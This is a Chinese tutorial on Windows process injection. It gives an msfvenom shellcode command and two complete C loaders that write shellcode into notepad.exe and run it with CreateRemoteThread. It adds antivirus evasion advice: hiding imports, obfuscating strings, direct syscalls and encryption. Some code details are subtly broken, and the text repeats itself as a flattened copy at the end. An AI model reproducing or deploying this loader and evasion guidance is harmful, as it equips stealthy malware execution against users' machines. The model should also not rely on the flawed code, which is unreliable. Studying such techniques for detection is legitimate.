进程注入的探索
字数 918 2025-08-27 12:33:43

进程注入技术详解

1. 进程注入基础概念

进程注入是指将一个正在运行的程序的进程内存中开辟一块空间,将shellcode放入该内存,并创建一个线程来执行这段shellcode的技术。

基本流程

  1. 打开目标进程获取句柄
  2. 在目标进程中分配内存
  3. 将shellcode写入分配的内存
  4. 创建远程线程执行shellcode

2. Shellcode生成与使用

使用Metasploit Framework的msfvenom工具生成64位shellcode示例:

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

这段shellcode的功能是执行计算器程序(calc.exe)。

3. 核心API函数详解

3.1 OpenProcess

HANDLE OpenProcess(
    DWORD dwDesiredAccess,  // 访问权限(PROCESS_ALL_ACCESS表示所有权限)
    BOOL bInheritHandle,    // 是否继承句柄(通常为FALSE)
    DWORD dwProcessId       // 目标进程PID
);

3.2 VirtualAllocEx

LPVOID VirtualAllocEx(
    HANDLE hProcess,        // 目标进程句柄
    LPVOID lpAddress,       // 内存地址(NULL表示自动分配)
    SIZE_T dwSize,          // 分配内存大小(字节)
    DWORD flAllocationType, // 分配类型(MEM_RESERVE | MEM_COMMIT)
    DWORD flProtect         // 内存保护(PAGE_EXECUTE_READWRITE可读可写可执行)
);

3.3 WriteProcessMemory

BOOL WriteProcessMemory(
    HANDLE hProcess,        // 目标进程句柄
    LPVOID lpBaseAddress,   // 写入内存地址(VirtualAllocEx返回值)
    LPCVOID lpBuffer,       // 要写入的数据指针(shellcode)
    SIZE_T nSize,           // 写入数据大小
    SIZE_T* lpNumberOfBytesWritten // 实际写入字节数(通常为NULL)
);

3.4 CreateRemoteThread

HANDLE CreateRemoteThread(
    HANDLE hProcess,        // 目标进程句柄
    LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性(通常为NULL)
    SIZE_T dwStackSize,     // 线程栈大小(0表示默认)
    LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址(VirtualAllocEx返回值)
    LPVOID lpParameter,     // 线程参数(通常为NULL)
    DWORD dwCreationFlags,  // 创建标志(0表示立即运行)
    LPDWORD lpThreadId      // 线程ID指针(通常为NULL)
);

4. 基础实现代码

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0..."; // shellcode
    
    HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[1]));
    if (Process == NULL) {
        printf("OpenProcess error%d\n", GetLastError());
    }
    
    void* exec = VirtualAllocEx(Process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) {
        printf("VirtualAllocEx error%d\n", GetLastError());
    }
    
    BOOL Memory = WriteProcessMemory(Process, exec, buf, sizeof(buf), NULL);
    if (Memory == 0) {
        printf("WriteProcessMemory:%d\n", GetLastError());
    }
    
    HANDLE thred = CreateRemoteThread(Process, NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
    if (thred == NULL) {
        printf("CreateRemoteThread:%d\n", GetLastError());
    }
}

5. 高级技术实现

5.1 自动获取PID

使用CreateToolhelp32Snapshot拍摄进程快照并查找目标进程:

HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

BOOL First = Process32First(Snapshot, &pe32);
DWORD pid;

while(First) {
    if(wcscmp(pe32.szExeFile, L"notepad.exe") == 0) {
        pid = pe32.th32ProcessID;
        break;
    }
    First = Process32Next(Snapshot, &pe32);
}

5.2 分离加载Shellcode

从文件读取shellcode而不是硬编码:

HANDLE openinfile = CreateFileA("calc.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
int size = GetFileSize(openinfile, NULL);
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
BOOL rfile = ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL);

5.3 IAT导入表处理

通过GetProcAddress动态获取函数地址,避免在IAT中留下痕迹:

typedef LPVOID(WINAPI* Virtual_AllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);

char ker32[] = {'K','e','r','n','e','l','3','2','.','d','l','l',0};
HMODULE hKer32 = LoadLibraryA(ker32);
char VAllocEx[] = {'V','i','r','t','u','a','l','l','o','c','E','x',0};
Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);

6. 完整高级实现代码

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <TCHAR.h>

typedef LPVOID(WINAPI* ImportVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* ImportWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE(WINAPI* ImportCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);

void code(LPCSTR lnFileName) {
    ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx");
    ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory");
    ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");

    // 从文件读取shellcode
    HANDLE openinfile = CreateFileA(lnFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    int size = GetFileSize(openinfile, NULL);
    char* buf = (char*)malloc(size + 1);
    DWORD lpNumberOfBytesRead = 0;
    ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL);

    // 自动查找目标进程PID
    HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    Process32First(Snapshot, &pe32);
    
    DWORD pid;
    while(1) {
        if(wcscmp(pe32.szExeFile, L"notepad.exe") == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
        Process32Next(Snapshot, &pe32);
    }

    HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    LPVOID exec = MyVirtualAllocEx(Process, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    MyWriteProcessMemory(Process, exec, buf, size, NULL);
    MyCreateRemoteThread(Process, NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
}

int main(int argc, char* argv[]) {
    if(argc != 2) {
        printf("please input bin file");
    } else {
        code(argv[1]);
    }
}

7. 防御检测与规避技术

  1. IAT表处理:通过动态获取函数地址(GetProcAddress)避免在导入表中留下高危函数名
  2. 字符串混淆:将敏感字符串如"kernel32.dll"拆分为字符数组形式
  3. 静态特征规避
    • 文件大小控制在300KB以内
    • 避免高危函数直接出现在导入表
    • VirtualAlloc的最后一个参数避免使用0x40(PAGE_EXECUTE_READWRITE)

8. 进阶技术方向

  1. Syscall直接调用:绕过用户态hook直接调用系统调用
  2. 回调函数执行:利用系统回调机制执行shellcode
  3. 内存申请优化:使用更隐蔽的内存分配方式
  4. 高强度加密混淆:对抗静态分析和动态检测

9. 注意事项

  1. 进程注入需要管理员权限
  2. 现代安全软件会监控这些高危API调用
  3. 实际应用中需要考虑shellcode的稳定性和隐蔽性
  4. 本文仅供学习研究使用,请勿用于非法用途
进程注入技术详解 1. 进程注入基础概念 进程注入是指将一个正在运行的程序的进程内存中开辟一块空间,将shellcode放入该内存,并创建一个线程来执行这段shellcode的技术。 基本流程 打开目标进程获取句柄 在目标进程中分配内存 将shellcode写入分配的内存 创建远程线程执行shellcode 2. Shellcode生成与使用 使用Metasploit Framework的msfvenom工具生成64位shellcode示例: 这段shellcode的功能是执行计算器程序(calc.exe)。 3. 核心API函数详解 3.1 OpenProcess 3.2 VirtualAllocEx 3.3 WriteProcessMemory 3.4 CreateRemoteThread 4. 基础实现代码 5. 高级技术实现 5.1 自动获取PID 使用CreateToolhelp32Snapshot拍摄进程快照并查找目标进程: 5.2 分离加载Shellcode 从文件读取shellcode而不是硬编码: 5.3 IAT导入表处理 通过GetProcAddress动态获取函数地址,避免在IAT中留下痕迹: 6. 完整高级实现代码 7. 防御检测与规避技术 IAT表处理 :通过动态获取函数地址(GetProcAddress)避免在导入表中留下高危函数名 字符串混淆 :将敏感字符串如"kernel32.dll"拆分为字符数组形式 静态特征规避 : 文件大小控制在300KB以内 避免高危函数直接出现在导入表 VirtualAlloc的最后一个参数避免使用0x40(PAGE_ EXECUTE_ READWRITE) 8. 进阶技术方向 Syscall直接调用 :绕过用户态hook直接调用系统调用 回调函数执行 :利用系统回调机制执行shellcode 内存申请优化 :使用更隐蔽的内存分配方式 高强度加密混淆 :对抗静态分析和动态检测 9. 注意事项 进程注入需要管理员权限 现代安全软件会监控这些高危API调用 实际应用中需要考虑shellcode的稳定性和隐蔽性 本文仅供学习研究使用,请勿用于非法用途